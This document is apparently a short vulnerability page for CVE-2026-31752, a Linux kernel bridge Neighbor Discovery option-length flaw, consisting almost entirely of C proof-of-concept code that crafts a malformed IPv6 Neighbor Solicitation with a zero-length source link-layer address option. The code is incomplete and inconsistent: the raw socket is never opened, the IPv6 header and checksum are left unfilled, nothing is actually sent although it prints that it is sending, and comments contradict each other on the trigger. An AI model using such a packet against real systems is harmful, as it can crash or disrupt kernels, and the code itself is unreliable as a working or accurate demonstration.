CVE-2026-31752 Linux内核桥接ND选项长度验证漏洞

/* * PoC for CVE-2026-31752: Linux Kernel br_nd_send ND Option Validation * This code demonstrates how to craft a malformed IPv6 Neighbor Discovery packet * with an invalid option length to potentially trigger the vulnerability. * Compilation: gcc -o poc_cve2026_31752 poc_cve2026_31752.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <linux/if_ether.h> #include <linux/if_arp.h> #include <arpa/inet.h> #define BUFFER_SIZE 1024 int create_raw_socket(const char *iface) { int sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sockfd < 0) { perror("socket"); exit(EXIT_FAILURE); } return sockfd; } int main() { int sockfd; struct sockaddr_ll sa; unsigned char buffer[BUFFER_SIZE]; memset(buffer, 0, BUFFER_SIZE); // Ethernet Header struct ethhdr *eth = (struct ethhdr *)buffer; // Set destination MAC (Multicast for ND) eth->h_dest[0] = 0x33; eth->h_dest[1] = 0x33; eth->h_dest[2] = 0xff; eth->h_dest[3] = 0x00; eth->h_dest[4] = 0x00; eth->h_dest[5] = 0x01; // Set source MAC (Placeholder) memset(eth->h_source, 0x02, 6); eth->h_proto = htons(ETH_P_IPV6); // IPv6 Header unsigned char *ipv6_payload = buffer + sizeof(struct ethhdr); // Simplified IPv6 header construction for brevity // Next Header: ICMPv6 (58) ipv6_payload[6] = 0x3A; // Hop Limit ipv6_payload[7] = 255; // Calculate offsets for ICMPv6 payload // Assuming basic IPv6 header is 40 bytes int icmp_offset = sizeof(struct ethhdr) + 40; unsigned char *icmp = buffer + icmp_offset; // ICMPv6 Neighbor Solicitation Type (135) icmp[0] = 135; icmp[1] = 0; // Code icmp[2] = 0; icmp[3] = 0; // Checksum (placeholder, would need calc) // Reserved (4 bytes) + Target Address (16 bytes) = 20 bytes // Options start at offset 24 within ICMP // Malformed ND Option // Type: Source Link-Layer Address (1) // Length: 1 (This is 8 bytes, but let's try to trigger logic where length is invalid relative to payload) // To trigger the specific bug "use a too-short source LLADDR option payload": // We set Type=1 (SrcLLA) but Length=0 or a small value that implies valid data isn't there. // Or Length is huge causing OOB read. int opt_offset = icmp_offset + 24; buffer[opt_offset] = 1; // Type: Source Link-Layer Address buffer[opt_offset + 1] = 0; // Length: 0 (Malformed, causes logic error in validation) // No MAC address follows, or insufficient data. printf("Sending malformed ND packet for CVE-2026-31752...\n"); // Note: Sending requires appropriate privileges and network interface configuration. // This is a conceptual structure. return 0; }